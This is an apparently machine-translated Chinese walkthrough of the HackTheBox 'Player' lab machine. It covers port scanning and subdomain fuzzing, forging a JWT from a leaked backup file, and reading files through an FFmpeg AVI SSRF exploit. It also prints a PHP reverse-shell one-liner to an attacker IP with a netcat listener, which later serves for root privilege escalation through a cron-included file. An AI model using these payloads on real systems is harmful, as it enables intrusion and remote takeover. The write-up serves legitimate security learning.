我将继续发布从
HackTheBox网站发送的用于
进一步处理的解决方案。 我希望这将至少帮助某人在信息安全领域发展。 在本文中,我们将遍历JWT,执行诸如搜索目录,子域和备份文件之类的Web枚举,并在FFmpeg编码器中使用SSRF,在SSH中使用RCE。
通过VPN连接到实验室。 建议您不要从工作计算机或主机上连接对您来说很重要的数据,因为当您最终与某个在信息安全领域有了解的人建立私有网络时,就可以进行连接:)
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
智商
端口扫描
这台机器的IP地址为10.10.10.145,我将其添加到/ etc / hosts中。
10.10.10.145 player.htb
首先,我们扫描开放端口。 由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。 我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

接下来,您需要收集有关已知端口的更多信息。 为此,将nmap与-A选项一起使用。
nmap -A player.htb -p22,80,6686

因此,主机在端口22和6686上运行SSH,在端口80和80上运行Apache Web服务器。
网络枚举
首先,去看网络。 但是a,没有什么有趣的。

在这种情况下,通常需要扫描目录。 为此,请使用快速魔术贴。 在我们要扫描目录的参数中指定(dir),指定站点(-u),单词列表(-w),我们感兴趣的扩展名(-x),线程数(-t)。
gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
从这些目录中,一个有趣的启动器。 它说这是视频编辑服务,我们需要有效的电子邮件。

在处理了一下表单之后,我注意到它会将数据发送到页面/launcher/dee8dc8a47256c64630d803a4c40786c.php,在那里进行检查并重定向回去。

在我们拥有的一切中,没有任何东西会给我们任何东西。 清单中的下一步是搜索子域。 最近,在被建议使用wfuzz之后,我将其使用并将其建议给其他人。 指定标题(-H),字典(-w),URL(-u),并排除响应代码403(--hc 403)。
wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403

因此,我们发现了三个也需要添加到/ etc / hosts的子域。
10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb
在开发人员上,只有授权表单,在聊天中只有无用的聊天,以及为某些联系人安排表单。



经过一点形式的测试,我们所拥有的只是重定向到501.php和一些带有指示错误的数据。



但是,这还不够。 此外,通常忘记的是,我决定检查文件的备份。 这样就发现了/launcher/dee8dc8a47256c64630d803a4c40786c.php~

在此代码中,对JWT(令牌)进行了解码和验证。 根据检查,重定向到页面之一。 如果未提供令牌,则会为我们分配令牌。
由于我们知道键和最终值,因此可以对其进行编码并获得有效的令牌。 可以使用此
站点来完成。

我们得到一个编码令牌。 并将其替换为请求。


结果,我们收到了一个媒体文件上传表格。 下载图片后,我们可以下载AVI格式的媒体文件。

入口点
由于AVI是根据我们的文件创建的,因此我们可以使用允许您读取文件的漏洞利用程序。 可以在
这里获取代码。 让我们检查一下,看看/ etc / passwd文件。

让我们检查一下,看看/ etc / passwd文件。
python3 gen_avi.py file:///etc/passwd passwd.avi
下载并打开文件后,我们观察文件/ etc / passwd。

由于我们可以读取文件,因此我们需要收集已知文件的列表。 我们回想起contact.php文件中的错误。 让我们阅读那里列出的所有文件。

联系人文件中没有任何有趣的内容,无法读取修复程序,但是在service_config中,我们找到了登录名和密码。

让我们尝试使用它们登录dev.player.htb-数据不适合,但是还有两个SSH。 端口22出现故障,但是在6686上我们得到了一个外壳。

用户名
但是外壳是有限的,我记得7.2版并决定检查漏洞。

因此,如果我们具有凭据,则可以执行命令注入。


它们还为我们提供了用于读取和写入文件的命令列表。 我们读取用户的标志。

根
现在我们应该有足够的权限来阅读fix.php

我们在其中找到了已经适合dev.player.htb的有趣数据。 在那里我们找到了项目。

从外部环境访问该文件时,可以访问该文件。 也就是说,我们可以放置外壳。

为此,请打开您的项目。

接下来,使用以下shell创建文件。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?>

现在,使用netcat打开会话。
nc -lvp 4321
接下来,我们转到文件。


完成枚举并检查了更多选项之后,我们将停止检查过程。 多亏了pspy64,您可以确定buff.php脚本不时以UID为0运行,即 作为根。

让我们看看脚本的作用。

尝试将代码添加到此文件时,我们遇到问题-我们没有权限。

但是在脚本中,包含了另一个文件,我们有权在其中写入。

我们将已经使用的shell写入此文件,在netcat中,我们正在等待连接。

这样,我们可以获得最大的特权。
您可以通过
Telegram加入我们。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。